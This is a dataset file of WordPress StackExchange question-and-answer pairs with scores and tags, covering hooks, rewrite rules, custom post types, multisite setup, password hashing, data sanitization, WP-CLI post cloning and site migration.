INSTRUCTION
stringlengths
11
999
RESPONSE
stringlengths
0
999
SOURCE
stringlengths
16
38
METADATA
dict
Hook inside a hook I'm hooking into `the_editor_content` to add a signature to new posts. However, when a user edits their post the content is lost and replaced with the signature. I tried something like the following in the hopes that the `the_editor_content` would only fire for new posts: add_action( 'new_to_publish', 'my_new_post'); function my_new_post( $post ) { function my_editor_content( $content ) { $current_user = wp_get_current_user(); $author_name = $current_user->display_name; $editor_content = '<br><br><br><br><br>--<br>'.$author_name; return $editor_content; } add_filter( 'the_editor_content', 'my_editor_content', 'tinymce' ); } But it isn't working, I don't get the signature for new posts or any posts. Can this even be done this way? Note that `my_editor_content` works fine by itself. Thanks in advance.
I went with a different approach to solve this (probably not the cleanest one but it works for me). I parsed the current url and added the signature with `the_editor_content` if on the page for new posts. If on the page for editing posts, I parsed the url again to get the post id and return the post content in the editor. I have frontend posting forms so it works.
stackexchange-wordpress
{ "answer_score": -1, "question_score": 0, "tags": "filters, hooks, actions" }
How to pass data to wordpress page (without GET parameter) I've made a custom page for my wordpress website which will return custom results based on the data in the URL (not a search page). Here's what it does: The url is something like ` while landing on the page, it is supposed to read the last part (which is BlaBla) and return results based upon that. But i'm getting a 404 error page every time. However i can use a query like ` and do the trick, but i want the link to have a structure like the 1st one. Is it possible to achieve this? Any help is appreciated.
It's completely possible to achieve this by using custom rewrite rules. Right now I don't have the opportunity to give you the actual code for it, but you can check the documentation for add_rewrite_rule() in the Codex. It's pretty straightforward if you add a custom parameter to the rewritten URL. Actually, you already have the almost exact parameters for the function in your question.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "search" }
Entity to store contact form entries? Lets say I develop minimal contact form plugin. The plugin save contact entries in the website. I think custom post type is not best way to store contact entries since post type is specifically created for front-facing contents. * * * Because of this curiosity, I installed a form builder (FormCraft) and make one entry by filling the form. The entry saved and accessible from admin, but no custom post type created. (I guess many other form builder also similar). I wonder what type of entity contact form use?
Post types are not only intended for front-facing content, they can be generic content objects you can use for lots of purposes. If you're concerned with data being exposed, there are a number of arguments available for controlling whether the items can be queried from the front end, appear in search, have UI for managing items, can be added to nav menus, etc.. You can hide a post type entirely- front and back end, and only expose it via your own plugin code. The advantage to using a CPT is that you get the API along with it to help speed development of your plugin, and taxonomies and meta data can be used with it and similarly hidden. Other plugins may use their own tables for storing data. You can use the `wpdb` class to do whatever database operations you need with custom tables and data. I recommend exploring if native objects can cover your needs first, but sometimes you just need your own tables, like if you want many-to-many relationships, or other complex structures.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "custom post types, database" }
Can't login to Dashboard when changing site URL to HTTPS By mistake in my WordPress settings, I changed `http` to `https`, and saved it. After it, an option come that "You have to login again", but when I tried to access my website it gives error of SSL etc, now I want to get access, how is it possible to change `https` to `http` without WordPress login? I have access to cPanel & domain.
Login to your cpanel and go to php my admin, then find your db and there table wp_options, inside you will see URL of your website,2 fields. Change it how you like.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "wp admin, login, https, http" }
Template hierarchy: how to let category.php conditionally-load archive.php? In Wordpress template chaining for categories, we have WP looking for: category-slug.php → category-id.php → category.php → archive.php → index.php Now, I'd like to make some tweaks in category.php, for instance insert some conditions over there, and if the condition is true, use a particular template (custom) otherwise continue processing the chain moving control as usual to archive.php How can I achieve that? I guess I will have to create a category.php file in my child-theme folder, insert conditional statements, and? How shall I instruct WP to continue to process the template chain?
I faced a similar problem, answer is linked below, and it turns out Template Filters do the trick! <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "categories, template hierarchy" }
wp-cli for Creating page-template I've recently started using wp-cli to work on WordPress and starting to love it. However, I'm curious about creating page templates using wp-cli. I haven't been able to find anything on it, does anyone if I can create a page template using wp-cli. I found the `scaffold` command but that also doesn't have the option to create it. Wouldn't it be nice, if wp-cli has that option too? If it already does, then do please enlighten me.
wp-cli is not a development tool, it is a server admin tool, as such all the scaffold stuff there is.... for lack of better word, unneeded bloat. It is unlikely to reflect best practice, especially if your copy is old. In the specific case of page templates, there is really nothing worth "scaffolding" the easiest way to create a new page template is to locate one in a theme, copy to a different file name, remove the code (or not, depending how drastic the new template will differ) and edit the template name in the header. Using wp-cli for this will probably take more time.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "page template, wp cli, command line" }
Displaying Title in Title Tag on Edit page? I want to change the **title tag** in the edit page, so that I can read the title of my edit page in my browser tabs: function edit_admin_title_tag() { global $post; $title_tag = '<title>'. $post->post_title .'</title>'; echo $title_tag; } add_action( 'admin_head', 'edit_admin_title_tag' ); How can I delete/overwrite the default title tag?
I found my the solution (filter hook admin_title) in Change page title in admin area function my_admin_title($admin_title, $title) { global $post, $action; if($action == 'edit' ) { $admin_title_tag = '* ' . $post->post_title; return $admin_title_tag; } } add_filter('admin_title', 'my_admin_title', 10, 2);
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "wp admin" }
What is this: data-wplink-url-error="true" and why is it added to my links? WordPress sometimes adds this to links created by the visual inline link editor: data-wplink-url-error="true" Why? What does this do?
When you're inserting a link in the tinymce editor, there is a piece of javascript that checks whether the link looks like a url. If it doesn't it inserts this string into the anchor tag. Later on in the code, this tag is tested for to enable issuing a warning to the user that the link is probably invalid.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 2, "tags": "tinymce, links" }
How to give image source in wordpress page editor? I have image file stored inside theme directory called site. Now in my home page using wordpress page editor I have put the following code but it didn't display image, seems location is wrong. <img src="site/images/footLogo.png" style="padding: 0px!important; color:white"> let me know what issue?
You can define constant in theme function file as: if( !defined(THEME_IMG_PATH)){ define( 'THEME_IMG_PATH', get_stylesheet_directory_uri() . '/site/images' ); } and then you can use img tag as <img src="<?php echo THEME_IMG_PATH; ?>/footLogo.png" style="padding: 0px!important; color:white">
stackexchange-wordpress
{ "answer_score": 1, "question_score": 5, "tags": "images, pages, homepage, filesystem" }
How to customize this theme? I am working on the following theme. < Does anybody know how can I remove the margin between widgets in this theme? How can I move the menu bar to a new line?
Move the Navigation to a new Line: Add `clear:left;` to the `.main-navigation` class in your styles.css With Widgets I assume you mean the 3 sections with the blue graphic.. those have a horizontal padding of 25px and are evenly distributed by their width of 33.33333% -> look at the class `.sow-features-list .sow-features-feature` Line 21 of your styles.css .sow-features-list .sow-features-feature { text-align: center; float: left; -ms-box-sizing: border-box; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; padding: 0 25px; //change this line margin-bottom: 40px; }
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "plugins, theme development, child theme, theme customizer, theme options" }
How to limit post per page of custom post type? Here's the codes i used to display the posts of my custom post "episode" <?php if( is_home() ){ $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; query_posts( array('post_type'=>array('episodes',),'paged'=>$paged ) ); } ?> <?php if (have_posts()) : ?> <?php post_movies_true(); ?> <?php while (have_posts()) : the_post(); {?> How can i add post_per_page there to limit the posts of my custom post? PS: i dont really know how to code im just trying to do some custom modification with the theme i bought. I would really appreciate any help. Thanks.
you can use `posts_per_page` in the args array to solve your problem. query_posts( array( 'post_type' => array( 'episodes', ), 'posts_per_page' => 5, 'paged'=>$paged, ) ); Read more on <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "custom post types, query posts" }
Pull Menu Items Into an HTML element I would like to add the Wordpress menu items to a series of divs (this could be a list as well). How would i go about doing this? Basically in the code below, I want the content shown in each div to come from the backend of WP. It's for a section I am adding to a page. <div>Home</div> <div>About</div> <div>Contact</div> Many thanks in advance Emily
assuming you are adding this into a page template: $menu_list = wp_get_nav_menu_items( 'All Pages' ); if( $menu_list ) foreach( $menu_list as $menu_item ) { if( $menu_item->menu_item_parent == 0 ) { echo '<div><a href="' . $menu_item->url . '">' . $menu_item->title . '</a></div>'; } } the above shows only top menu items with their links, no dropdowns. replace 'All Pages' with the name of your menu. based on <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "menus" }
Wordpress Random post (last 3 days posts) i want show last 3 days posts Randomly. how can i edit this code? <?php $randompost = array( 'numberposts' => 2, 'type' => 'news', 'orderby' => 'rand', 'year' => date( 'Y' ), 'week' => date( 'W' ), ); $rand_posts = get_posts( $randompost ); foreach( $rand_posts as $post ) : ?> <?php endforeach; ?>
You can use this code for show last 3 days post. Best of luck... $args = array( 'post_status' => 'publish', 'type' => 'news', 'posts_per_page' => 2, 'order' => 'rand', 'date_query' => array( array( 'after' => '3 days ago' ) ) );
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "get posts, php" }
show posts in archive page based on selected catagory I want to display posts in one page depending on a selected category in the menu, without loading the archive page of the category. a any idea on how it can be done?
You can use following code for category name 'The_Category_Name', 'posts_per_page' => -1 ) ); // The Loop while ( have_posts() ) : the_post(); echo '</li>'; the_title(); echo '</li>'; endwhile; // Reset Query wp_reset_query(); ?> Here replace The_Category_Name by name of your category
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "categories" }
WordPress Multisite/Network - How to use a subdomain as main blog and subdomain for child sites I want to set up a WordPress Multisite where the main admin/blog URL will be on a subdomain, like `admin.mydomain.com`, and then additional sites I create will also be subdomains under `mydomain.com`, such as `site1.mydomain.com`. Instead, in WordPress's Network Setup section, it only allows subdomains like `site1.admin.mydomain.com`. How can I have the main site be `admin.mydomain.com` and child sites be like `site1.mydomain.com`?
There's a couple of different ways that might work, but both rely on using Apache/NGINX directives. # Method 1 Setup WordPress MS at mydomain.com, create an admin.mydomain.com site and then redirect mydomain.com to admin.mydomain.com. All additional sites would naturally be subdomains to mydomain.com. # Method 2 This is basically the inverse of Method 1. You should be able to use a plugin, such as < (it hasn't been updated in a few years, but it still works for me), to map site1.admin.mydomain.com to site1.mydomain.com. The downside is that this will require a manual entry for each new site you add (although this probably could be automated).
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "multisite, subdomains" }
Add element to widgetpage I am trying to figure out if it is possible to add elements to the widgetpage in WordPress' dashboard without editing the widgets.php core file. Is there a WordPress function or something else (maybe even a jQuery solution) that will get this done? If I google this the only results are about widget area's but I just need to add an image (like really an img element, not a widget) to the widget page. Is there anyone that knows if this is possible and give me some hint/help.
You can use @kudratullah's suggestion to hook into the widgets page. The downside is that this allows insertion of a piece of html only in one specific place. If that location is ok, use that solution. Otherwise, there are two other possibilities. The first is to use jquery. Examine the source to identify the html element where you want to add your image (let's say #wrap). Then append the node like this: $( "#wrap" ).append( "<img src='....' />" ); The second is to use the css after pseudoclass like this: #wrap:after {content:url('/path/to/mypic.jpg');} Both style and script files need to be enqueued to the admin.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "functions, widgets, wp admin" }
Dashicons not showed for admin menu **Wordpress version: 4.7.1** I'm registering a classic custom pot type register_post_type ( 'products', $products_args); Where `$products_args` contains `menu_icon` $products_args = array ( .... 'labels' => array ( .... 'name' => 'Prodotti', .... ), 'menu-icon' => 'dashicons-cart', .... ); Actually the admin menu for 'Products' is added, but the icon is alwyas fixed to the 'pin' (or 'post') icon ![enter image description here]( What am I doing wrong?
Found: Simply replace 'menu-icon' with 'menu_icon'
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "menus, admin menu" }
Comma separated tax terms, with "and" before last item I have a taxonomy called "location". I'm outputting a comma separated list of these taxonomy terms for a post. This is fine, but I don't know how to split the second-to-last and last items with "and" instead of a comma. Here is my code. Is there a way to do it using the counter maybe? $locations = get_the_terms($post->ID, 'location'); $locations = array_values($locations); for($cat_count=0; $cat_count<count($locations); $cat_count++) { echo $locations[$cat_count]->name; if ($cat_count<count($locations)-1){ echo ', '; } } Note: This code is in the sidebar for a category archive template and inside a WP_Query, so it's all within the loop. The WP_Query is outputting multiple posts of a custom post type called Projects and I'm trying to list the location tax terms for each one.
This is how your code should look like I added some comments so you will understand its simple programming not really wordpress related. $locations = get_the_terms($post->ID, 'location'); $locations = array_values($locations); $total_locations = count($locations); // the total start from 1 for($i = 0; $i < $total_locations; $i++) { echo $locations[$i]; // echo the location if($i < $total_locations-2) { // so for comma you need to check if the for loop variable is - 2 because the loop start from 0 echo ', '; // echo comma } elseif($i < $total_locations-1) { // and here is just -1 because you want to print it before the last one because this we use the less than sign in both of our conditions echo ' and '; // echo and } }
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "taxonomy, terms" }
Locally installing wordpress. Database problem After installing XAMPP on my local machine (Windows 10), I proceeded to unzipping the wordpress files. In the last step I access < enter my details and click on install wordpress. After about a 30 seconds wait I get the WSOD (White screen of death, HTTP error 500). In those 30 seconds I noticed many .frm and .ibd files are being created in my database folder. It seems like a timeout issue to me. I tried changing the timeout out in the php.ini-production and php.ini-development from 30 to 90, but to no avail. I am not too sure if it is working. I also tried looking for the .htaccess file but could not find it. I understand there is possibly some timeout parameter there too Any help appreciated Thank you!
Please read this official article from WordPress. Some from there: > Before resorting to desperate measures, there are a number of reasons for the WordPress white screen of death: > > **1.** A Plugin is causing compatibility issues. > **2.** Your Theme may be causing the problem. > **3.** Your Theme directory may be missing or renamed.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "database, localhost" }
How to stop WordPress from automatically turning letters into small or capital I'm managing a client website (I did not build it). What's happening is that WordPress is automatically changing letters into capital/small. Happens in front-end only. This "Sophie Jane-Berney" turns into "Sophie Jane- **b** erney" automatically when page loads. Notice the 'b' These French words "Domaines d’activité" turn into "Domaines **D** ’activité" automatically. Notice the 'D'. For a second, they appear as they should, but as the page finishes loading, they change cases. How can I stop that?
Please check if there is any javascript issue that makes this things happen in your site. As per my understanding check your script.js or try by disabling plugins installes in your wordpress.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "css" }
Protect Passwords in wp_users with stronger protection than MD5 I prefer a better and stronger kind of passwords for my wp sites. After watching below MD5 tube and reading hash plugins, I can not find a good solution for WP. > Search hash plugins! > > Why not to use MD5 tube! In phpmyadmin I only get MD5 and SHA1 what is to easy to hack as you can see in the tube. But what is really a good protection for all passwords on WP sites? I can not find it. Do I have to add an extra code-string to all passwords like: **@9I_^2u@wB72 &_Äbõ**. This will make it very difficult to hack I think.
Password hashing/checking system in WP is _pluggable_ , which essentially means that it is designed to be replaceable with custom implementation. This isn't commonly done due to relying on defaults and compatibility. WP tries hard for backwards compat (such as with earliest single MD5 implementation) and portability (hashes from one WP install would work on another). There are off–the–shelf solutions around that change hashing to a newer and more secure algorithms. At this time this is mostly considered `password_hash()` in PHP, which is designed to be future–proof. Algorithm used and salts are embedded in resulting hash, so you can keep moving to stronger algorithms in future, while being able to transparently verify older hashes. From quick search roots/wp-password-bcrypt is one of such implementations.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "password, hacks" }
How would I get Wordpress to parse /mypage/area/value as /mypage/?area=value? I have sucessfully "registered" a query key called "area" in functions.php like so: function myplugin_register_query_vars( $vars ) { $vars[] = 'area'; return $vars; } add_filter( 'query_vars', 'myplugin_register_query_vars' ); This allows me to have a page with a key/value pair like: < Note that in this example, "mypage" is the slug for an existing Wordpress Page. Also, I'm using the Wordpress Theme to handle the slightly different output for each different value for the "area" key... In any case, I would now like the URL to be like: * < * < These URLs would be parsed as: * < * < How would I go about getting Wordpress to parse /mypage/area/value as /mypage/?area=value?
`add_rewrite_rule` is very handy for this use, first add your custom rule for this: add_action('init', function(){ return add_rewrite_rule( '([^/]+)/area/([^/]+)/?$', 'index.php?pagename=$matches[1]&area=$matches[2]', 'top' ); }); and you already registered the custom query variable, next is (because you're in development) go to `admin > settings > permalinks` and save settings to flush the rewrite rules. Now to get the custom `area`, just call `get_query_arg('area')` which will return the value when WP_Query is ready.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "url rewriting, query string" }
Buddypress and Wordpress on different subdomains with the same database? What I'm wanting to do is have my blog on blog.mysite.com and my buddypress on community.mysite.com. Is it possible to have that, but them share the same database? Like when you log onto the community.mysite.com site, you can comment and all that on blog.mysite.com? Thanks for any answers.
Most definitely YES, this is possible: 1. You need to activate multisite with subdomains support: 2. One of the sites needs to be on root domain. I suggest blog. 3. Install and network activate BuddyPress 4. Add this line to wp-config.php: define ( 'BP_ROOT_BLOG', 2 ); where 2 is ID of your communitycommunity.mysite.com And that's about it.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "buddypress" }
Modify link options when hovering over post title In dashboard, clicking on "Posts" reveals rows of posts. When I hover over one of them, specifically over their title, I get hyperlink options such as "Edit" and "Trash". I have a plugin that adds another hyperlink option "Duplicate", however I'd prefer to get rid of this option (depending on the post type). I've checked the plugin settings but there are no options there that will allow me to do this. Is there way to change the hyperlink options when hovering over the posts' titles?
If you want to just hide the link in the admin area, you can add this CSS code to your admin area. Assuming that the extra link is the LAST one in the row, add this code to you theme's `functions.php` file: add_action('admin_head', 'my_custom_fonts'); function my_custom_fonts() { echo '<style>.row-actions span:last-child {display:none} </style>'; This will hide the link added by the plug-in. If the extra link is not the last one in the row, then you have to replace `:last-child` with `:nth-child(n)`, which `(n)` is the number of the element in the row, starting from 1.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "title" }
Specify number of posts for sub-category page I have used this function to change the number of posts per page on a category page, but I can't get it to work for a **sub** -category page. I'm trying to show 6 posts on the sub-category page and 12 on the parent category page. function my_post_queries( $query ) { if (!is_admin() && $query->is_main_query()){ if(cat_is_ancestor_of( 7, get_query_var( 'cat' ) ) ){ $query->set('posts_per_page', 6); } if(is_category( '7' )){ $query->set('posts_per_page', 12); } } } add_action( 'pre_get_posts', 'my_post_queries' ); When I use cat_is_ancestor_of on the archive page to change the layout of the sub-category page, it works, but when I use it in that function it doesn't.
OK, how about this then? **(Changed from first try - now tested.)** function my_post_queries( $query ) { if ( ! is_admin() && $query->is_main_query() ) { if ( is_category( 7 ) ) { $query->set( 'posts_per_page', 6 ); } //works with pretty permalinks $cat_id = get_queried_object()->term_id; if ( cat_is_ancestor_of( 7, $cat_id ) ) { $query->set( 'posts_per_page', 12 ); } } } Note: Still not sure about the purpose or effect of including `return ;`'s. Had no obvious effect on functionality, so have left them out.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 1, "tags": "functions" }
Upload file type not permitted even if explicitly registered as upload_filetypes in the db (multisite) I am suddenly getting a `Sorry, this file type is not permitted for security reasons` while trying to upload some file extensions which used to work. Specifically, `jpg doc txt ods` work, `rtf docx xls xlsx` are not allowed. ![Sorry, this file type is not permitted for security reasons]( * The file types are listed in _Network settings > Upload file types_ ![Network settings > Upload file types]( * I also checked in the database `upload_filetypes`. ![wp_sitemeta > upload_filetypes]( * Also checked with `get_allowed_mime_types()` ![enter image description here]( * Tried adding with `upload_mimes` filter - and a couple of plugins, checked `.htaccess` to no avail. I also tried with all the plugins off. * Also, on the same shared hosting account there are other instances of WP where the uploading is not limited. What could I do next?
Known issue that was introduced in 4.7.1: < There is a plugin to workaround it for those having this problem. A fix will likely be in the next release. <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "multisite, uploads, media library" }
How to achieve this navigation style in wordpress navigation I was wondering how to achieve this navigation style in WordPress. The menu structure is like this -- <ul> <li> <a href="index.php"> Home <span> MAIN PAGE </span> </a> </li> </ul> ![enter image description here](
Go to Appearance » Menus. Click on Screen Options button at top right corner of the page. Check the Descriptions box from it. This will allow you to display the description of the menu and you can customize it as per HTML above.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "theme development, menus, navigation" }
Who is responsible for data sanitization in WordPress development? I am studying how to write more secure WordPress code by implementing validation, sanitization and data escaping wherever necessary. Validation and escaping makes perfect sense, but I am a little confused about sanitization. If I use a function like `add_post_meta`, does this function do sanitization for me? What about `set_option` or other ones that interact with the database. I usually interact with the database via these functions. In which situations do I need to worry about sanitization myself?
Yes, WordPress will sanitise data on its way to the database, so long as you use the APIs. If you're using the `wpdb` object however you'll need to use the `prepare` method to sanitise. I recommend against writing SQL queries as it bypasses object caches etc, but if you must write your own SQL, use `wpdb` to prepare and execute it For calls such as `WP_Query`, `get_posts`, `add_post_meta` etc etc sanitisation occurs Note that this is purely DB sanitisation, any additional sanitisation or validation you require, such as trimming trailing spaces, validation of URLs, stripping tags, escaping, etc, must all be done in your code
stackexchange-wordpress
{ "answer_score": 3, "question_score": 1, "tags": "database, security, customization, validation, sanitization" }
How do I fit a function inside an opening and closing do_shortcode How do I fit a function inside an opening and closing shortcode. I have this function that displays the post's pdf attachment url $file= get_post_meta( $post->ID, 'teacher-resume-upload' ); if ( $file) { foreach ( $file as $attachment_id ) { $full_size = wp_get_attachment_url( $attachment_id ); printf( '%s', $full_size); } } How would I fit the above code into this... echo do_shortcode( '[pdf]' . $text_to_be_wrapped_in_shortcode . '[/pdf]' );
This should work assuming your trying to pass the URL to the PDF short code $file= get_post_meta( $post->ID, 'teacher-resume-upload' ); if ( $file) { foreach ( $file as $attachment_id ) { $full_size = wp_get_attachment_url( $attachment_id ); echo do_shortcode( '[pdf]' . $full_size . '[/pdf]' ); } }
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "shortcode, attachments, pdf" }
WordPress theme directory naming Suppose, I named my WordPress Theme folder as TrueLove. Look 'True' is in the uppercase 'T' and 'Love' is in 'L'. This folder name is the slug of that theme that I found using this function echo get_template(). And I found it in an article that theme textdomain should match the slug. According to that article I have to register my textdomain as 'TrueLove'. Is there any problem with this folder name as well as with the textdomain name when I submit the theme to themeforest. Thanks in advance. :)
There is no problem with that.You can name the theme folder whatever you like and you can even name it full uppercase like TRUELOVE. As long as it's ok with wordpress ,themeforest won't care.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "themes, textdomain" }
Can't override CSS with child theme So far everything has worked alright with !important, but I can't seem to be able to change the bottom margin of a H5 title. On this link < the plans Basic, Deluxe and Premium have an annoying bottom margin of 30px. I've tried with: .pricing-title h5 { margin-bottom: 0px !important; } But that doesn't fix it, sorry for my limited knowledge on CSS, please help if possible.
They are using a more specific identifier in the theme on the homepage. try this one: .be-section .be-row:not(:last-child) .column-block h5:last-child { margin-bottom: 10px !important; } you can change the margin to whatever you want, of course. okay try this: #main .be-section .be-row:not(:last-child) .column-block h5:last-child { margin-bottom: 5px !important; }
stackexchange-wordpress
{ "answer_score": 0, "question_score": -1, "tags": "css, child theme" }
Is it a bad idea to write audit/access/transaction log information directly to the filesystem? In addition to some custom post types, my application has two custom tables in the WP database. I'd like to keep a record of all inserts/updates/deletes to these two tables. This audit trail won't be front-ended, and it won't be used often. I'd like it in place for my own diagnostic purposes. The application will be installed at 5-10 sites, and I expect to see fewer than 10,000 of these actions per year at each site. I'm considering these options: 1. a custom post type (with no post meta) 2. a custom table in the WP database 3. a simple append-only file in the filesystem Option 3 seems simplest, and it avoids gunking up the WP DB with this non-critical data. But writing data directly to the filesystem seems wrong somehow, and it doesn't seem to be a common approach. Are there strong reasons to choose options 1 or 2 instead of writing to the filesystem?
There is nothing wrong with writing logs to a file, you just need to make sure you create a special directory for it and add .htaccess that will prevent listing, and probably deny all access to it from the web. There is nothing overly wrong with storing data in the DB provided you do it in its own table, but unless you need to be able to filter the data online, it is probably just pointless overhead (in the end, DBs store everything as files...). The advantage of having a DB table is that it is easier to create it using the WP DB APIs, but it is much harder to extract the information if you need the full log. (you need to explicitly write the code to do that, might run into memory limitations, etc)
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "database" }
Does balanceTags() provide any escaping / protection? I'm just getting into WordPress and keep seeing sample code with balanceTags() used when echoing out a variable. Am I right in thinking it does nothing in terms of output validation? Thank you
Right, so it will simply do its best to close any unclosed tag - that's it. Nothing more. As you can see if you look at the source code, all the function does is make sure to balance out the tags that might not be. It's also explained in the codex. ("force_balance_tags" is the real function that does the work; "balanceTags" defers to it if the options or attributes ask it to) Hope this helps!
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "validation, escaping" }
Plugin usage wordpress I've a some questions about wordpress, I'am a new user of wordpress, In a commercial website under wordpress, can I use a wordpress plugin under GPLv2 ? If a theme is under GPLv2 can I use it for a commercial client ? I see that often plugins have a pro version, do I have to buy it?, Or can I just use the free version? thanks a lot Best regards.
_In a commercial website under wordpress, can I use a wordpress plugin under GPLv2 ?_ Yep. Note that we're now up to GPLv3 and other variations. There are certain types of limitation to the so-called "copyleft" license, but they don't bear on the "normal" type of usage you're referring to. The Wikipedia entry looked pretty good to me, if you want details. _If a theme is under GPLv2 can I use it for a commercial client ?_ See above. _I see that often plugins have a pro version, do I have to buy it?, Or can I just use the free version?_ You only have to buy the pro version if you want whatever is available in or in relation to buying the pro version (like enhanced support or customization services or other offers). If the free version (at least the free version under whichever GPL from the WordPress Plugin Repository) suits you, then you can run with it.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 0, "tags": "plugins" }
What hooks do I need to hook into to capture ever wp_user creation/change? I have a wordpress site and I have an external database I need to keep updated with the user information. Whenever a user is created, updated, or otherwise modified by something like an admin, I need to update the other database. I thought there would be one or two hooks I would need to hook into (user created + user updated), but now I see that there are more than just those two. user_register profile_update edit_user_profile_update Are there any that I am missing? Which hooks do I need to get the job done? Does anyone have any advice to code this up? URLs: < < <
Those first 2 actions you linked to from the codex, `user_register` and `profile_update` should be exactly what you need. `user_register` runs right after a user has successfully registered and gives you access to their $user_id which you can use to retrieve any user data you need, like name, email, etc. add_action( 'user_register', 'wse_custom_register_action', 10, 1 ); function wse_custom_register_action( $user_id ) { // send data to your external db/API } `profile_update` works exactly the same way, and gives you access to both the old user data and the new, updated user data. I don't believe you would need `edit_user_profile_update` in this instance.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "hooks, users, user registration" }
2-step contact form, URL field on the site, others inside popup ![enter image description here]( The only thing I'm stuck at is how to have the text entered for the URL field on the site go to the popup URL field, where's the full form once fake "submit" button is clicked [its purpose is to trigger the popup window]. To clarify, I've done everything else just the URL field can't figure it out. This website has it going the way I want it
You need to use JS script that will double the value of your fake URL field and real URL field of the form in the pop-up. Sure you may use jQuery for it as well. Try this answer by Richard Dalton: <
stackexchange-wordpress
{ "answer_score": 0, "question_score": 1, "tags": "plugin contact form 7" }
Importing MariaDB into Mysql in Wordpress VVV for Vagrant now comes with MariaDB by default. If I work locally for developing a Wordpress site and then want to import the database to a production environment. Will the import be compatible or is this bad practices? Thanks
While at the current point in time there is very little difference, and maybe no difference at all, this is a bad practice if your development environment supposed to replicate the server your code will run on. There is just no point in forking a product without having the intention to change it, and the changes might be explicit as different toolset commands or SQL syntax changes, or hidden like better/worse performance for some queries. For 99% of the wordpress oriented development it makes no difference, but it always sucks to discover your current specific project is in the 1% only when you are running into problems (which usually comes when you have no time to waste on such things).
stackexchange-wordpress
{ "answer_score": 2, "question_score": 2, "tags": "mysql" }
How do I clone or duplicate a post with the WordPress Command Line Interface WP-CLI? I know that I can clone or duplicate a post with several plugins. The one I use most often is < However I am using the WP-CLI more and more lately and I would like to be able to duplicate or clone a post from the command line. Any suggestions would be appreciated.
Cloning a post via wp-cli is little trickier. It needs two steps: 1. Create a file where save the information of post. Suppose, following command create a file named file.txt from hello post (id 1). In this case file.txt which save on root directory. `wp post get 1 > file.txt` 2. Create new post from this file. In our scenario file.txt saved all information of `hello` post. Following command create a post named `duplicate` `wp post create ./file.txt --post_title="duplicate"`
stackexchange-wordpress
{ "answer_score": 7, "question_score": 6, "tags": "wp cli" }
WordPress Migration: Getting 404 Errors: Only Home Page works I just migrated my ecommerce website (www.getfitkart.com) from shared hosting to Linode. Now only the home page is working but the other pages are not getting served. I am getting the following error on all other pages like say, < > Not Found > The requested URL /privacy-policy/ was not found on this server. My .htaccess file: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> Any help will be greatly appreciated.
I found the solution here: < The thing is that we need to allow the override _all_ option in httpd.conf (location: /etc/httpd/conf/httpd.conf) for your specific hosting directory.
stackexchange-wordpress
{ "answer_score": 8, "question_score": 16, "tags": "404 error, migration" }
Errors being created by admin-ajax.php I'm building a site in Wordpress and using the Ninja Forms plugin. While developing locally everything worked perfectly but now I've installed on my server When trying to submit a form I'm getting the following error and the form just stalls: `"NetworkError: 500 Internal Server Error - admin-ajax.php ERRORS: Internal Server Error front-end.js (line 2) Object { readyState=4, status=500, statusText="Internal Server Error", more...} front-end.js (line 2) Parse Error` I have turned on DEBUG mode in Wordpress but that gave no clues. Any ideas on what could be going on? Thanks in advance, Tom
Try deactivating plugins one by one and you'll findout which plugin is conflicting with your ajax call. Then we can debug error easily . But I am sure this is because of plugin conflict You just need to check which one is it.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "php, ajax, plugin ninja forms" }
How can I redirect to another page with screen already at the bottom of the page? I'm using buddypress, I have a link that redirect to /profile/change-avatar/ so what I want is after i arrived at the change avatar page, the screen already at the bottom of the page. Thanks
Add an anchor with an ID in the new page where you want it to 'arrive' <a id="bottom"></a> And reference in your link with #: profile/change-avatar#bottom Hope that helps!
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "redirect" }
Plugin MySQL SELECT custom data and filter on user meta I'm porting a custom PHP feature to be part of a Wordpress plugin. At present, my USERS table has a field (let's call it FLAG) which my MySQL query needs to filter on, eg: SELECT custom-data FROM custom-table JOIN users ON some-match WHERE some-condition AND users.flag='1' GROUP BY username Obviously, within my WordPress plugin, I have implemented `flag` as user-meta. But how can I use this in a MySQL query?
